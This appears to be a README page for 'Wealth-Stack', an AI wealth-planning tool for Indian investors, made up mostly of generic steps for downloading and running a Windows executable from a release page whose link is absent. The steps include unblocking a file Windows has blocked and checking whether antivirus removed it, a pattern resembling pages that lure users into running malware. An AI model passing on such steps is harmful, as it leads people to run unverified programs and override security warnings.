Visit this page to download the latest Windows version:
Choose the newest release, then download the Windows file you see there. If the release includes a setup file, save it to your computer before you open it.
- Open the downloaded file from your Downloads folder.
- If Windows asks for permission, choose Yes.
- If you see a setup window, follow the prompts on screen.
- If the app opens right away, keep it in place and let it load.
- If Windows blocks the file, right-click it, choose Properties, then select Unblock if that option appears.
- Start Wealth-Stack from the shortcut or the file you downloaded.
Wealth-Stack helps Indian investors review wealth plans in one place. It is built for people who want clear help with:
- PMS review
- AIF review
- NRI tax planning
- Family office planning
- Goal-based SIP setup
- Portfolio review
- Asset allocation checks
- Risk fit checks
It works with Claude Code and uses AI to help you sort complex wealth questions into simple actions.
- Review PMS and AIF documents
- Check portfolio structure
- Organize tax planning tasks for NRIs
- Build goal-based SIP plans
- Support family office workflows
- Help with wealth planning for HNI and UHNI users
- Track goals and plan monthly investing
- Read and sort financial notes in plain language
Use a Windows PC with:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 500 MB of free disk space
- Internet access for setup and AI features
- A modern browser if the app opens a local page
For a smoother experience, use 8 GB of RAM or more.
Check these items first:
- You have access to the downloaded release file
- Your Windows account can run apps
- Your internet connection is stable
- You have permission to install software on the PC
If you use a work laptop, your company may block new apps. In that case, ask your IT team for help.
- Download the latest release from the link above.
- Save the file in an easy place, such as Downloads.
- Open the file.
- Follow the setup steps if a wizard appears.
- If the app needs a folder path, keep the default path unless you have a reason to change it.
- Launch Wealth-Stack after setup finishes.
- Sign in or connect the tools you use, if the app asks for it.
You can use Wealth-Stack for:
- Comparing PMS options
- Reviewing AIF structures
- Planning tax steps for overseas income
- Preparing a family wealth view
- Setting SIP goals for school, home, or retirement
- Checking how much risk a portfolio carries
- Organizing notes before speaking with an advisor
Use simple inputs when you start:
- Add clear goal names
- Enter dates and amounts
- Keep one account or one family branch at a time
- Share tax status where needed
- Use plain text for notes
Good input gives better output. Short, clear details work well.
If the app does not open:
- Close it.
- Open it again as normal.
- Check that the download finished fully.
- Try the newest release.
- Restart Windows and try again.
- Make sure your antivirus did not remove the file.
If the app opens but looks empty:
- Refresh the page or restart the app.
- Check your internet connection.
- Confirm that any needed sign-in step is done.
- Try again with a smaller set of data.
Wealth-Stack is made for personal and advisory work. Keep your own data under control by using:
- Strong Windows sign-in
- A private user account
- A secure password manager
- Limited access on shared PCs
If you store client records, use your own data policy and follow your local rules.
This project covers:
- AI agents
- Financial planning
- Fintech
- HNI wealth
- Investment analysis
- Open-source tools
- PMS
- Portfolio management
- SEBI-aware workflows
- Tax optimization
- UHNI planning
- Wealth management
If you want the shortest path:
- Go to the release page.
- Download the latest Windows file.
- Open it on your PC.
- Follow the steps on screen.
- Start using Wealth-Stack for wealth planning
You may find one of these in the release:
.exe— a Windows app file.msi— a Windows setup file.zip— a compressed folder with app files inside
If you see a .zip file, right-click it and choose Extract All before you open the app.
Wealth-Stack is a good fit if you want help with:
- Indian wealth planning
- NRI tax review
- PMS and AIF analysis
- Family office work
- Goal-based investing
- Portfolio checks with AI support
If you need the file again, use the release page here: